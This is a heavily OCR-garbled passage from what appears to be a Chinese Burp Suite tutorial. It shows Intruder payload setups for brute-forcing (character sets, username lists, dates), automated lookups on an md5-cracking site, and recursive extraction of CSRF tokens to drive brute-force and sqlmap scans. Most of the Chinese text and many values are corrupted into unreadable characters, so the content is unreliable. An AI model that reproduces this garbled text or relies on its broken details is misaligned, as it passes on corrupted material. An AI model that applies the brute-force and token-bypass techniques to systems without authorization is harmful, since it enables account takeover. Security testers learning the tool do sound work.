PNEEWUETh  AMRSELSE 1N

H 126 01 / & 250 1t ANHHE R A A 2 AR, U120 AR & .
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Certificate name:

PortSwiggerCA

Credential use

VPN and apps

he packa

K 1-3-11

PRIEar< /9 PortSwigger CA SHEISE SHZIRNEFRPSERAT | fIFF-->1RE-->

REHESRA--> FHIEEHE - -> NEBIRE LR IER AR BEMRAYRRE | LR, R

RERET | A LAER 2SR --> FiEEE--> ZEENEE--> B TR EEE.

0x03 SR

0-9,a-z 8%

%&$F Payload type B2fY Brute forcer ( /38%#% ) 4 FE Payload options I HINE

BR—LEEEHT , TLIBCH , HI—2RRFFHTARY | ERRIFRIKESEE Min

length-Max length , tLINIXBFHRAZEE 41, IR E5E 4, B 1-3-12, 1-3-13

[ Target T Positions T Payloads T Options ]

H

Payload Sets

“ou can define one or more payload sets. The number of payload sets depe

Payload set: l1 J Payload count: 1679616
Payload type: l Brute forcer J Request count: 1679616
Payload Options [Brute forcer]

This payload type generates payloads of specified lengths that contain all pe

Character set: | abcdefghiklmnopgretuvexyz0123455789

Min length: 4

Max length: 4

K 1-3-12
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Status |Emr |ﬁmmﬂ|mwm |mmmm
28 1aaa 200 O 0 1310
28 23aa 200 O 0 1310
30 3aaa 200 O 0 1310
" 43aa 200 O 0 1310
32 Sgad 200 O 0 1310
13 Baaa 200 O 0 1310
3 7aaa 200 O 0 1310
35 2aaa 200 O 0 1310
% 9aaa 200 O 0 1310
7 abaa 200 O 0 1310
an hhaa ] (i (i 1ITR
K 1-3-13
BARE8iERk

RIERHIIBPRARERTIRS | W& 1-3-14

[Target T Positions TFayluﬂds Tﬂptiuns ]

E] Payload Sets

ou can define one or more payload sets. The number of payload sets depends on the al

Payload set: l1 |v] Payload count: 200 (approx)

Pavload type: lUsemame generator |'J Regquest count, 200 (approx)

@ Payload Options [Username generator]

This payload type lets vou configure a list of names or email addrezsesz, and derives pote

e |

Waximum payleads per item; | S0

Paste admin

| admin1

Load ... root
Remove

administrator

3128 7T / & 250 T WNAME R e Ml 1580, YIZIA FARERE .
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j Results T Target T Positionz I Payloads T Optiong }

| Fitter: Showing all items

Request .i.lPayluad |5tatus. |Ermr |'I'|mBqut |Length |Cﬂmment
0 200 O O 42845 baseling request
1 admin 200 O a 50167

2 a 200 m] O 50147

3 ad 200 O O 2459

4 adm 200 a a 1310

5 admi 200 m] O 1630

5 admin1 200 O a 1310

7 a 200 m] O 1310

8 ad 200 O O 1310

9 adm 200 a a 1510

10 admi 200 m] O 1310

11 admin 200 O a 1310

Kl 1-3-14

E HBYRR

FREMILUBCENX , B/LMEE , 21E 1-3-15

Format: @ Lzmghu_n

14-5-11
2014-5-11
20M14E55 118
SEH 1152014
0514

052014

o

'_J Payload Prog

Target | Positions | Payloads T Optionz ]

@ Payload Sets

“fou can define one or more payload sets. The number of paylead sets depends on the attack type defined in the Positions tab. Various paylead types are available for each pi

E Intruder attack 7
Payload set: 1 v Payload count: 124
Attack Save Columns
Payload type: | Dates v Request count: 124
j Results T Target T Positiong T Payloads T Options ]
- | Fiter: Showing all tems
EJ Payload Options [Dates]
Request 4 | Payload Status Error Timeout | Length
This payload type generates date payloads within a given range and in | ] | ‘ | | ot
9 14-5-1% 200 (] (] 1310
From: ihl May ¥ 2014 10 14-5-20 200 o o 1310
11 14-5-21 200 (] (] 1310
Te: 11 | | September v| 2012 12 14522 200 d o131
13 14-5-23 200 (] (] 1310
Step: 1 Days v 14 14-5-24 200 (] (] 1310
15 14-5-25 200 (] (] 1310
Format @ 14-5-11 v 18 14506 200 O O 1210
o 17 14-5-27 200 ] O 1310
O [EddMiyyyy 18 14528 200 o O 1310
Example: 14-5-11 19 14-5-29 200 a O e148
20 14-5-30 200 o [J  s0815
@ Payload Processing R Fesponse
“f'ou can define rules to perform various processing tasks on each payl Raw | Params | Headers | Hex
GFT
Kl 1-3-15
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%763 frobber

nEH T RS MESERE—ME , W& 1-3-16

L?J Payload Sets

ou can define one or more payload sets. The number of payload setz depends on the attack type defined in t

Payload set: l*l |1] Payload count: 38

Payload type: lCharacter frobber |‘l'] Request count: 36

L?J Payload Options [Character frobber]

Thiz payload type operates on a string input and modifies the value of each character position in turn. £ iz uzefi

Operate on: () Base value of payload position

{® Specific string: | 789abcde fohijkimnopgratuywiyz

B Intrt
@ Payload Processing || Aftack Save Columns
“ou can define rules to perfo j Resuliz T Target I Positions I Payloads I Optionz ]
l Add J Enabled Fiter: Showing all tems
Edit Request 1| Payload Status
4 (TZ3&56E80abcdefghkimnopgrainviwseyz 200
Remove 9 (12345679%abcdefghikimnopgratuvwxyz 200
10 (12345678 abcdefghijkimnopgratuvwixyz 200
Up 1 012345678%bbcdefghikimnopgretuvwocyz 200
12 (12345678%accdefghikimnopgratuvwxyz 200
l Down J 13 1234567a%abddefghikimnopgratuvwxyz 200
14 (12345678%abceafghikimnopgratuvwiyz 200
15 | (12345678%abcdffghijkimnopgratuvwxyz 200
1-3-16

0x04 SHHFFSIREHINIAIEIRE
ERASERIEIE
EEanBEABIE Length 79 1310 RUEHES LK , NIETLASERS length HEF T | PRSI length

71310 WErERIRATIEESS | (0B 1-3-17

ot
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Status | Error | Timeout | Length & | Comment |
200 ] ] 1310
200 ] ] 131p
200 ] ] 131| 344 results zelected
200 0 0 13| Actively scan selected items ww'w . mutilidae. com
200 L] L] 131  passively =can selected tems
200 U U 131 zendto Comparer (reguests) wowdw. mutillidae. com
200 U U 131 Send to Comparer (responses) wowdw mutillidae. com
200 U U 131 Send to SQLMapper (request) www. mutilidae. com
2 U U L Send to CeWler whww mutillidae. com
igz g g 1: Add to site map wwv.*.mutllae.n:nm
200 O O 131 Request items again
— Add comment

Highlight

Delete selected items

Copy links in selection

Save selected items

K 1-3-17
ek A gk

mi Filter , A% show only highlighted items(FERERUNE =) , {1E 1-3-18

Aftack Save Columns

Jﬂfﬂ.ﬂs T Target I Positions I Payloads I Options ]

Fiter: Showing only highlighted tems

EJ firter by zearch term ) firter by status code ) [:irter by annotation
] Fox [success]
] 3o [redirection] [] Show only commented tems
() Regex [ 4o [request error] [# Show cnly highlighted items
[] Case sensitive || Megative search @ S [server error] r
| Show al J | Hideal J
K 1-3-18

FEIEEA L EAR L BPIERERLERE(add commented), iIXEHAIZIERE show only
commented items .,
SHER

U RLA HI8E |, BNEJi%kEE Save-->Result table , BIR#HEITE 1-3-19 B9EO

13100 / & 250 T AME R e Ml 20580, YIZIA FARERE .
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Attack =V Columns

Aftack

Server responses

A e ml mamFreembinam

E Save results table

= Al rows [ Save header row

) Selected rows Delimiter: () Tab () Custom:

Include columns:

[l Reguest (] Payload [ Select all J
(] Status ] Time of day
] Rezponse received [| Response completed l Select none J
[ Error [ Timeout
[ Length [] Cookies l Save J
[ Comment

l Cancel J

K 1-3-19

XEE all rows 2IRFARFIBAIEENEINGR | selected rows SSHIREFHIEIE , Save
header row $N8R A , NHREFESMFERS , Delimiter FRFERZ BLMTAEIRIT tab--
— tab i , Custom--BEX TEHE—LHERFIRHRZIERIFHTARAIE k2.
0x05 #tE md5 g%

b:3- 1

A HEFEIRAT md5S [BEEEEARIFERBRAIRE—NE— txt XAE | XEHHEEN

BT VANEIEE | 108 1-3-20

13200 / & 250 1t ANHHME R A A 2 AR, V120 AR & .
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A mds et x|
ac59075b964b0715.)
52d04dc20036dbds.
eada/06cdc34alesl
49ba59abbe56e057
7412b5da7belcf42.
83aad00afd464ciod!
7a57a5a743894a0ell

d42683b3df678c61
AMEAAQA22TF1adad .

K 1-3-20

LA www.cmd5.com Wub AGUSRILERE. Bt , RERFIREFRIEZENE

www.cmd5.com |, JAEIE0E 1-3-21

|EE=’ http:/fwww.cmd5.com/ p~-c ||EE=’ dSTRESETEEE mdSE., © | ‘

| ~ & &~ OEE- =26~ IE0) - @~ ¢

7ab7abaT43894a0e
md5 hd [FEI]
Rt

EHEER
admin

==

B 1-3-21

EEHEIALBEES 4 (BRATETRIISHEREEEHRERNERIIERS
— NEER.
iZE intruder

BT M EIREIER I AE HBANESRIZ SRS |, 20E] 1-3-22

13300 / & 250 T UAME R e Ml 1580, YIZIA FARERE .
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POST / HTTP/1.1

Accept: text/html, application/zhtmltzml, */*

Peferer: http://www.cnds. com/

Aceept-Laneguage: =h-Hans-CN,zh-Hans;q=0_5

User-Agent: Mozilla/5.0 (Windows NT &£.3; WOW&4; Trident/7.0; MALNIS; rv:1l.0) like Gecko
Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip, deflate

Proxy-Connection: Keep-Alive

Content-Length: 1998

DNT: 1

Host: www.cmdS. com

Pragma: no-cache

Cookie: ASP NET_Sessionld=c4gl3bthbdxllsvE3ik3akwx; CHNZZDATAZ815543=cnzz_eid$3DI21055575-1401645566-%26ntinet3D140164556E6%2

_ EVENTTARGET=Buttonls EVENTARGUMENT=& VIEWSTATE=WyAOvDr7cWelUalzhI(THsxbTuFpqrhilt TIJEEs4dT7STI0iZ fUSgqshEi BuTHCe Sqlkt {5uku
etotolPRCFyvt U x4iTksgqe THwlalinec 2855 InlEZneH1 532 fwS b TELtVETyds ZFTDTEyZ2sCVETS ZCEROC 33 2By Rdy 0 1dzIvMD 175 50 SRAVESvkp 4 gTAXND 0T g
TIGTlr GBI =r drEr IK1IN 3Nt uEKJEC JIDEEqM4TEO LT3 CBfalolr SeEWRiEe SAYEVF a4k Pronl$ ZFxCUPEr W4 ln S0 SNSE a4 x JulFGIES4 G0 Tho Rit TFINIT4 00
nYOARSYyDMEAGeh TUE ] Jx JU4EC480g5% ZEE Cuwys ZF LRI 5VmP.'?HPBn7 EFHi4PxZY¥r3ZBI%Z2FJ213gasllPlockMHiQ% 2F0Zn703LsnInZ0xbCWOND 1lynIdo QR
EnSpiLbpkot ZFGUsDCETEWC b ow VDU CSFhelZ208cw i CESHE SwgllEP CHER LgZMPDvwwut SEx 3 ZFHaWe e 0 TuEZ G CEOs SENgr 8% ZFkDEwt FEEnjhlr TssE0Go
BvinreJUSOCY Ty ZEEBwdt r gThSsxeByEWvolbEKGSHuyLnt CBuS oEsBh S alliWWy JulD 8% 2F Sk ZBuCRvn3Vny faCk i 06 1pwlCEZ 7T 1HOWpLVCEwLILE 1 PpP £
BzuTE00EZHP LUV Co £ 922D Tub £ 5p Lnufdes ZF £ ZCFAPE BET 9 Qb winp Ggll R0 EeUS LHr x LWEnAS B fpr 1 JayEE Lo TYEPAZpt AOTMT ox I0% ZFDor Ty TL1xps 2
SEEEDQat lExATY v CFAQK Pul:lmwk ASvAS O Lo THV 7 Lgbn 0 Tnw Y Pwiul i¥YgGP L Tvx4FTO% CEBgk 5021 1 2DhEBwAgT TOEo lDVwep L ZF 2 £ LWC jullk Gy ENLwE £RD £
bekNDkwryot ZBEGAI TEADogdwIwal s ZFhas ai HeNe MK gHC gvpundmns ZFENOHIFiuai coDNM= T SAE Snx GHFE1ul 1 LS9 v SHAL TUGOVEEWInz e OWs 4 rtBvHzdr %
24Text,BoxInput:=7357353743894@¢t100% Z4ContentPlaceHolderl3Z4InputHashType=ndSiictl00324ContentPlaceHolder13Z24Buttonl=%E8%4
ontentPlaceHolder I¥24H1 Teldl=EgeWt9eAlUckLgDIit PTELFPCFETHTPO0kywhGer Q£0p3n] 9a3FdgEt 2bx P CulP

B 1-3-22

Ki£Z| repeater 5t , IBRAVEERVLER LA , 20E 1-3-23

Response

_[ RawT Headers I Hex T HTML T Render IViewState }

</od>
“/tr>
<ftable=
<hr />
“<table align="center" id="table3" hgcolor="#LC87EZ" horder="0"
cellspacing="1" width="%Ltc0"=>
<L
“<td bgeolor="white" style="padding-right: lépx;
padding-left: 8px; padding-hottom: 15px;

cellpadding=

line-height: l4pt; padding-top: l0px; text-aligm:
left; height: 8Zpx;" walign="top"=>
“<gpan style="text-aligm: left"=>
<gpan id="Labell" style="color: #0000cO"=</span>
ooooo
&nbsp; <br /=
<gpan
id="ecl00_ContencPlaceHolderl Labelinsweg " admin<hy /><br /><a varget=_blank
href=AddHashComment s aspx?hash=TabiTalaT7438%daleasource=foundikey=hdZe583c01553555858831bal
485d74h=TO000T </ a></span><hr JSr</span>

K 1-3-23

EERAVRXER intruder , IREFAVBNRYMERZINLS , WNE 1-3-24

Attack type: { Sniper

POST / HITB/1 1

Accept: text/html, application/xhtmltxml, */*

Beferer: heep://www cmdS. com/

Accept-Language: zh-Hans-CN, zh-Hans;q=0.5

User-igemt: Mozilla/5. 0 (Vindows NT £ 3; WOWE4; Trident/7.0; MALNIS; rv:1l.0) like Geclo
Content-Type: applicacion/x-www-form-urlencoded

Accept-Encoding: gzip, deflace

Proxy-Commection: Keep-Alive

Content-Lengeh: 1998

onT: 1

Host: www. emdS. com

Pragma: no-cache

Cookie: ASP.NET_SessionTd=cde?3bthbdxllsvidik3alws; CHZZDATA3819543=cnz=_sidi3D221055575-1401645566-428ntinet ID14016455668 26enzz_atID04 26 e ines ID1401645553081

__ EVENTTARGET=Burtonls_ EVENTARGUMENT=:_ VIEWSTATE=WyAduDr7eWellallzbT QTN s xhluFpgihlre TT3KEs4d79TI042 fU8qshE1 Bu¥HCe Sg e Q5ubuc A4 UTHi PIF4 5 TR AHe nyen TRUAENC et "ERgaxt “FIIHL
SETTISYVTenhTvnSt e0Vayet ot o lPE SRyt 03241 Thzq)e THwlaV¥nz 028 55 InQZneHL 632 fwd Th 78kt VirYyds 2F 7D 7Ey s CVETE “BROE 3% "By Rdy01d=TyMD17550 s RAyESwpd g TAXNDOVgRe st 2FEBULKiVALWUD fLMh=
QghLOSTWYZ1QUPEVSE 2BdzhGrws PAL ESE20YDC2EFP TR YGT 1y Sz HKGBI 2 v drkr IKIN3NEuZK TKe T IDBE qMATEN5 T4 2B £aT 02 r SeZWRi Be SATZVF adie P enl 2FxGUPErUT4 1n 50 SH9B adx JulFGIBS 460 ThaRie TIIM4Q0T
gADtECOWIhzHe GrglSwlvEe ZREHgTh 22D THIni nR4Sa LIx THIE X101 e XD T avZdnuhnn VO ARSyDHEAGeh Tl § § x U4KC4B0q54 “EBCwwyX s 2R LANEI: SVnRTHPEn T SFHi4P2 2 2B T+ 2FI213gas 112 10aMHid% 2FOZuT03L
snInZ0xkCWOND LynIdodRINKENRIDGFLEC RD Lt HpD 2 FLhwWKI LEpUNLnks JBEJ JHL 2B £F rw0g7WnY r V4l 5 re% SFGRZDCE U CEFLel 2082w 3 BSHESv glIE POHE Dt L2 HEDvnsue SBxt ZFHa
Wee0ITUE2GY2B0SSENGLEY 2FEDEVE FEBnihk 75520 GoFIHLLL Z4 Au0 dUUUBL INCRKKT20d3 2F T gx6LXvERIMepS FATK 1 PinadicBgI19BPL13C0vSardeJUSDCTTys
5AKLWWYTUID 195 JFSK S TBUC ROVAIVIY £ ARK 4 06 LpWIICE 3T LHOWFDVC BWE LLS LFPF fAVH £LadwgZ Galas 2bvi=d 1166 0C 0K I AWzS JFE ThhL QBWEAN TV e £2% 2 FURTNE 207 D0gZHELLVE o Th 932 7D Tuls £5pLAQuEdss

CFX£% 2FAPEBET 90 QhwLupGulROEUS LHr x LWERAS 2B £pr 10 avEB 1o TYKPAZpt ACIMT ex 10% SFDor Y iy TLLxp & SBU0 95761025% BX TUpxIDALE, 2 CFWL3VT2ETHI Tuwxb 1pTASLSEEED Y4 SBXATT
% ZFA 0K P LMt ASVAS 01 Le THVT Lghna Tnv T Pias  Tg6PL 7 47103 2B gir 5824 LZDREwAGTT 0EG LDVwep aAL S ZF 2 £LWC ) ulils Gy ZwE £BD fBAZ TP FRVEYShLezr & 152 07K DK SWVANKZROVE 1gJvpgs SBGrhh0d gk
9cvnEdBZh ek lDXWryos 2060 TRADqdvIwals 2Fh as a1 HEIN C. SFBNQHZFiuaicoDlMz ] SAESnEGIK 1IN 1 Lot SHA L TUGD 3 2FGVE CyazPGheX] 15HES 2BqaGALLOKBNLo s 3

Dictl00%Z4ContentPlaceHolderls24TextBoxInpur=§7457454743894a0e5acr 1003 24Cont ent PlaceHolder 13 24 Input HashIype=ndsscc 1008 24Content PlaceHolder 13 24Burtonl=3E8ATS A3 EST AT 86
&etl00%24ContentPlaceHolderls24HiddenFieldl=4ct100%24ContentPlaceHolderls 24HiddenField2=ZgzVt 9 AIUck LD It PTERFRCFZTRTRPOOyybGer Q £0p3n] 9a3FXdgEe 2bX P Cul?

K 1-3-24

e EE , W 1-3-25

134010 / & 250 1t ANHHME R A A 2 AR, U120 T ARE & .
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Payload =et: l 1 | 'J Payload count. 22 (approx)

Pavload type: l Runtime: file |'J Reguest count: 22 (approx)

Payload Options [Runtime file]

This payload tvpe lets vou configure a file from which to read paylead strings at1

Select file .. Dvmd5. bt

1-3-25

BEAT—T%E  RIFRBAR—R  ABTHURSBERW  MEIREFZEXNEL 2 X

R T, QE 1-3-26
2| Request Engine

Gl These settings control the engine used for making HTTP reguests when performing attacks.

Number of threads: 5
Number of retries on network failure: 2‘|
K 1-3-26

PLECHRZ HAVER | JE 1-3-27

Target | Postions | Payloads | Oplions

[ Exclude HTTP headers ‘

Define extract grep item

(2]

. u Define the Iocation of the item to be extracted. Selecting the item in the response panel will create a suitable configuration automatically. You can also modify the configuration |
rep - Extract effeciively.

These settings can be used to

@&

[#] Define start and end (] Extract from regex group

[ Extract the following items
( (® Start after Holder1_LabelAnswer™> =rin <span id="cti00_ContentPlace(.*?jadr
From [Holder
: 25288

() Start at offset:

Remove

i [

® End at delmiter W&mncﬂmmemum?hm

I

Duplicate ~
(O End at fixed length: bl

E

Down

i

(] Exclude HTTP headers [#] Update config bazed on selection below

| Cear |
<table align="center" id="table3" bgcolor="§ECE7EZ" border='"0" cellpadding="0" cellspacing="1"
— <tr>
Maximum capture length: | 10 <td bgcolor="white' style="padding-right: 1épx; padding-leit: Bpx; padding-bottom: 15px;
line-height: l4pt; padding-top: lOpx; text-align: left; height: B2px;" waligm="top'>
<gspan style="text-aligm: left'>
<span id="Labell" style="color: $0000c0"»</span>
?| Grep - Payloads ooooo
&nbsp; <br /> pa—
| These settings can be used to <span id="ectl00_ContentPlaceHolderl Labelinswer‘admin<hir /»<br /»<a target= bla
LJ href=iddHashCouuents. aspx?hash=7a57a5a743894alessource= foundsley=bde 563015 53555658831ban485d74b> [OOO0] </a> </ span><br /

K 1-3-27

FraftE

M start attack , 38ERW0E 1-3-28
$F 13570 / & 250 T AVHHE B e ME 380, VIZIHE AR &
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Request Al Payload Status | Error |'I'|me|:|ut | Length | Holder1_Labelsnswer™> | Comment
] 200 O O 30884 admin baseline rec
1 ac39075b984b0715 200 a a 30882 123
2 52d04dc20036dbd3 200 O O 30883 1234
3 eadarl8cdaci4alas 200 a a 30884 12345
4 45ba59abbe56e057 200 O O 30885 123456
5 T412b5davbelcfd42 200 a a 31436 <h=<font color=red=&%geé. ..
& B8laad00afdb4cred 200 O O 3702 12345678
7 T7aSTasar43894ale 200 O O 31436 <h=<font color=red=&%gé. ..
1-3-28

BENR | FESEMARHT , EERENNZMAE EASHEERIER,

(RFefFsR ) =EGmIE ¢ left

%475 BurpSuite FFRANE (M)

e INRXR

kB8 : SEANRE

gtk : http://drops.wooyun.org/

0x00 Intruder Scan

RIE— MR8 csrf_token AYIEKE! intruder,

1)Positions IREIE 1-4-1

[Target TPcsdtms T Payloads I Options }

@ Payload Positions

Configure the positions where payleads wil be inserted into the base request. The attack type determines the way in which payloads are igned to payload itions - see help for full

Attack type: | Piichfork

POST /zend/grammar. php HTTP/1. 1

Accept: text/html, application/xhtml+xml, */%
Referer: http://localhost/zend/grammar. php
Accept-Language: zh-Hans-CN, zh-Hans;q=0. 5
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; MALNJS; rv:11.0) like Gecko
Content-Type: application/x—www fbrm urlencoded
Accept-Encoding: gzip, deflate

Host: localhost

Content-Length: 46

Proxv-Connection: Keep-Alive

Pragma: no-cache

Cookie: PHPSESSID=66cehd jh9lghfclhggal Td3eqd

token- § 60915232412dbf7bb689blcac0616946 § &id- § root §

1-4-1
2)Options iIZEINT :

136 01 / & 250 1t ANAHE R 4 Al 2R, VIZ0 T ARE i
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Request Engine 20 1-4-2

Request Engine

These settings control the engine used for making HTTP reguests when performing attacks.

Mumber of threads: C—i:)

Mumber of retries on network failure: 1
Pause before retry (miliseconds): 2000
Throttle (miliseconds): @) Fied ]

() Variable: start |0 step | 30000
Start time: (= Immediatehy

i In |10 minutes

() Paused

K 1-4-2

options>Grep-Extract>add I EINE 1-4-3

Define extract grep item

Define the location of the tem to be extracted. Selecting the item in the response panel will create a suitable configuration automatically. You can
also modify the configuration manually to ensure it works effectivehy.

~ [ Define start and end ~ [J Extract from regex group

(& Start after expression: | value=" value="{_*7}"=\rin <input

() Start at offset: 904 #l Case sensitive

(& End at delimiter: "=\rin <input

() End at fixed length: 32
[] Exclude HTTP headers [f] Update config based on selection below Refetch response
<small>string</small> <{font 5

color="#cc0000'>' 609152324 f2dbf7hb689h1cac0616946' </font>
<i>(length=32) </i>
'id' <font color='#888a85'>=&gt; {/font> <small’string{/small>
<font color='#cc0000'>' root'</font> <i>(length=4)</i>
</pre>token error<form method="post" action="">
<input type="hidden" name="token"

value="6820c1507d27925c31b4722c93741839"> h
{input type="text" name="id" value="root">
{input type="submit" value="#2z" />
</form> [{
T T T T Type & search term 0 matches

%137 50 / & 250 00 AUEHE R e Dok FH = 218, IZ0 FARER &
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Grep - Extract

?.
E' These settings can be used to extract useful information from responzes into the attack results table.

[ Extractthe following tems from responses:

From [ value="] to ["=\r\n <input]

I

Edit
Remove
Duplicate >

Up

Ll

Down

Clear

e

—

Maximum capture length: | 100 i ﬂﬁﬁﬁ%
K 1-4-3

3)payloads iRENE 1-4-4

| Target | Positions IPﬂyhﬂds ] Options |

@ Payload Sets

“ou can define one or more payload sets. The number of paylead setz depends on the

Pavyload set: l 1 | v] Payload count. unknown

Pavyload type: l Recursive grep | "] Reguest count. 8,894

EJ Payload Options [Recursive grep]

This payload type lets you extract each payload from the response to the previous reqgu

Select the "extract grep™ item from which to derive payicads:

From [ value="] to ["=\r'\n <=input]

fEE— A7) csrf_tokend 15
Initial payload for first request: | 6820c1 56&2?925::31 bAT22ch37 | —

[] Stop if duplicate payload found

1-4-4
XE payload type i&&i%!3(Recursive grep) , 7E Initial payload for first request iZ&
$ 138 01 / & 250 mi ANAME B e Ml 5 2 R, U120 TR & .



o2z HHRM 240k | H5753

— B csrf_token {EfF/A5—IR , WNE 1-4-5

E Intruder attack 6

Aftack Save Columns

j Resulis T Target I Positions I Payloads I Options ]

| Fiter: Showing all tems

Reguest A‘ Payload1 ‘ Payload2 | Status | Error |ﬂmenut | Length | value=" ‘ Comment
0 200 O O 1068 beab5e89740be701d719dc0a45d20049 baseline request
1 6820c1507d27925c31b4722c83741839 'root 200 g g 1067 | Tadc3cehdch44bT25fe58e2d26edchTe |

2 | Tadc3cehdch44bT25feS8e2d26edche | ‘ SALOCS 200 0 || 1208 fdefB34e80fa16ccbdbS6c83elbecosT

3 fdefB84e90fa16cchbdbS6cB3e3becosT Ssystem 200 g o 1210 a502cchf32786efd9b120cd036503274

4 a502cchf32786efd9b12dcd036603274 1 200 g g 1198 d80861635f30579ab52038195275cf1

5 d80861635130579ab52039195275c 1 11 200 g g 1202 6fcB6635efb29b0b5c042523c60aeibe

] 6fcB6635efb29b0b6c042523cB0aesbe 11111 200 O O 1212 6358db451801c61105d733a3f1 frddp2

7 6398db461801c61105d733a3f1 frddb2 2 200 g g 1198 Tdf479easbl7al481a82276438addbel

8 Tdf479eaSbi7a0481a82276438addbel 22222222 200 g g 1212 d74784da3dd509e525e 4070561 212f

9 d74784da3dd609e525e f40T0561212f 30 200 g g 1200 cc169016281e428ab7c506c98bclcled

10 cc169016281e428abTc506c9%bclcled 4Dgifts 200 g g 1210 c3548245aa3a618808227 fode2Tddafl7

" c35482453aa618808227 fhde27ddaflT 5 200 g g 1198 6d7TbdB43f5a9b6d211 5863015506194

Request | Responze
Raw | Params | Headers | Hex

Accept-Encoding: gzip, deflate

Host: localhost H—-csif_token{E ) T-—~csif_tokenA){E&
Content-Length: 48

Proxy-Connection: Keep-Alive

Pragma: no-cache

Cookie: PHPSESSID=66cehd jh91lghfclhgqal Td3eqd

Connection: close

token=Ta3c3cehde944h725feb8eld26edebTe&id=SALOCS
1-4-5

0x01 Active Scan with sqlmap

HINXAMES sqlmap BFfTA | ARIR@c4bbage e T T , HRANIEEMEER M

15, BEEINIHMRE A burpsuite BEZE HTTP history(JSRIER) 2R token 2
REEWN  BREZETLUEN | RIFFRERIGRT , LSRR MR EIRRE.
[ERABIRAZ | 7 burpsuite BEEEAREIN , AREREERMRN , ES X MNIEER

ZRRERIR T |, ARETERLICRE.

X B NE_FIEE,

FRXE

1) B5ER csrf_token T , AEEFZ#. A% Options>Sessions>Add,

S0 1-4-6

13901 / & 250 1t ANAME R 4 Al 2 AR, VIZ0A T ARE i
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_T Proxy I Spider T Scanner T Intruder T Repeater I Sequencer I Decoder T Comparer T Extender Tﬂphum E

mbnsIHTrPISSLTSmﬂBTDBplﬂyIHBG] 1

L

Session Handling Rule E Session hand

"ou can define session handling rulg Detailz | Scope

or checking ses?walid'rty. Before ¢

‘2| Rule Description
M Enabled | Desc 2 P
— @ Use Rule 2
Edit ue
I >
Remove
Duplicate
Up @ Rule Actions
l Down J The actions below wil be performed in seguence when this rule is applied tc

| Add J Enabled | Description

To monitor or troubleshoot the behav
Edit

Session handling rule editor

Details | Scope

'

@ Rule Description

csrf_token

@ Rule Actions

The actions below will be performed in sequence when this rule iz applied to a request.

| A ]|Enahlecl | Deseripton

Use cookies from the session handling cookie jar
Set a specific cookie or parameter value

Check session is valid »
Prompt for in-browser session recovery

Run a macro

Run a post-request macro

Invoke a Burp extension

1-4-6

EES Y —1NE %R Select macro>add |, a0E 1-4-7

%140 0T / & 250 T AME R e Ml I580, YIZIA FARERE .
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Session handling action editor - Rule 4 |

5| This action runs a predefined macro (sequence of requests) and optionally updates parameters and cookies in the current request based on the resutt of

the macro.

Select macy

dd carf

&

Edit

Note that the reguest currently being processed by this session handling rule will stil be issued, g0 the macro should not include this request unless it is
necessary to iszue it twice.

[#] Update current request with parameters matched from final macro response

{® Update all parameters except for:

Edit

() Update only the following parameters:

Edit

[C] Tolerate URL mismatch when matching parameters (use for URL-agnostic CRSF tokens)

K 1-4-7

3)mih add BLBHF N TUEANE 1-4-8

E Macro Editor
- ) E Macro Recorder - Macro 3
w Macro Editor
UUse the configuration below to EJ Macro Recorder
working correctly.
Select the items from the proxy history that you wizh to include in the macre, and click "0K". Note that to record a macro noy
—_— will need to ensure that proxy interception is turned off.
Wacro description: | Macro 3
Macro tems: ‘ Fiter: Hiding CS5, image and general binary content
| Host # 4| Host | Method | URL | Params | Edted
i} Ftp/ocalost FOST TZendigrammar php It O
67 http:/ocalhost POST  /zend/grammar.php e d
68 http:/ocalhost POST  /zend/grammar.php e |
69 http:/ocalhost POST  /zend/grammar.php e |
70 http:/ocalhost POST  /zendigrammar.php e d
7 http:/ocalhost POST  /zendigrammar.php e d
« '\_ 72 http:/ocalhost POST  /zendigrammar.php e d
73 http:/ocalhost POST  /zendigrammar.php e d
=
74 http:/localhost POST  /zendigrammar.php e a
Bl Hex 75 http:/localhost POST  fzendigrammar.php E] O
76 http:/ocalhost POST  /zendigrammar.php £ O
1-4-8

)ik 2-3 N HE , F—NRERFEKRTHE , BPRER post #UERIIHRIVIIE , AT

EFEEHRXEMNNT 3 NI , & 1-4-9

3141 00 / & 250 T NAME R e Ml 0580, YIZI FARERE .
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Macro Editor

EJ Macro Editor

Use the configuration below to define the items that are included in the macro, and the order they wil be issued. You can configure how parameters and cookies are handled for each item. You can also test the macro to confirm it

is working corractly.

Macro description: | Macro 2
Macro ftems
¥ Host Method URL Status Cookies received | Derived parameters Preset parameters | configureem |
1 hitp:iflocahost POST Izendigrammar php 200 token, id
2 hitp:iflocalnost POST [zendigrammar php 200 token i Move up
3 http:ifiocahost POST Izendigrammar php 200 token, id
Move down
<K JUTTTTTTTTT | [ Removeiem |

Request | Response

Raw | Params | Headers | Hex

POST /zend/grammar. php HTTP/1. 1

Accept-Language: zh-Hans—CN, zh-Han Sl

Accept

Y
Accept: text/html, application/xhtml+xml, /%
Referer: http://localhost/zend/grammar. php
=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64: Trident/7.0: MALNJS; rv:11.0) like Gecko B
Content-Type: application/x—www-lorm-urlencoded
Encoding: gzip, deflate Re-analyze macro
i search term 0 ma(chas_

EEdE=

K 1-4-9

Test macro

5)% _ER Configure item ,#57% root , iFII—MEENX token 4§ , WNE 1-4-10

@ Macro Editor

Configure Macro Item

Configure how cookies and request parameters are handled for this macro iem

(@ Add cookies received in responses to the session handiing cookie jar

@ Use cookies from the session handiing cookie jar in requests.

anding

Use the configuration below to define the items that are included in the macro, and the order they will be issued. You can configure how parameters and cookies are handled for each item. You can also test the macro to confirm it

s working correctly.

Wacro description: | esrf

Macro items: \
Method URL Status Cookies received | Derived paramsters | Frasst paramsters | Accept eol [ Configure tem J
ocalhost GET Izendigrammar.php 200 [F]
localhost posT Izendigrammarphp 200 it @ Move up
acalhost POST Izendlgrammar.php 200 token, id @
Move down
«r 1 J 7%| | FRemovetem |

Reguest | Response

Configure Macro Item: POST request to http://localhost/zend/grammar.php

Define Custom Parameter

=

token

Derive from prior response ‘ v} l Response 1

[ Use preset value | |root _———4—/

Name

Value derived from

[

token

From [valie=Tto [=\fn  <input]

=
=

—
A 1-4-10

Define Custom Parameter

Configure the detals of the custom parameter location. YYou need to specify the name that is used for this parameter in sub
requests, and the location within this response from which the parameter's value should be derived.

Parameter name:  token

([ Extracted value is URL-encoded

Define the location of the parameter value. Selecting the ftem in the response panel wil create a sutable configuration auto
also modify the configuration manusly to ensure it works effectively.

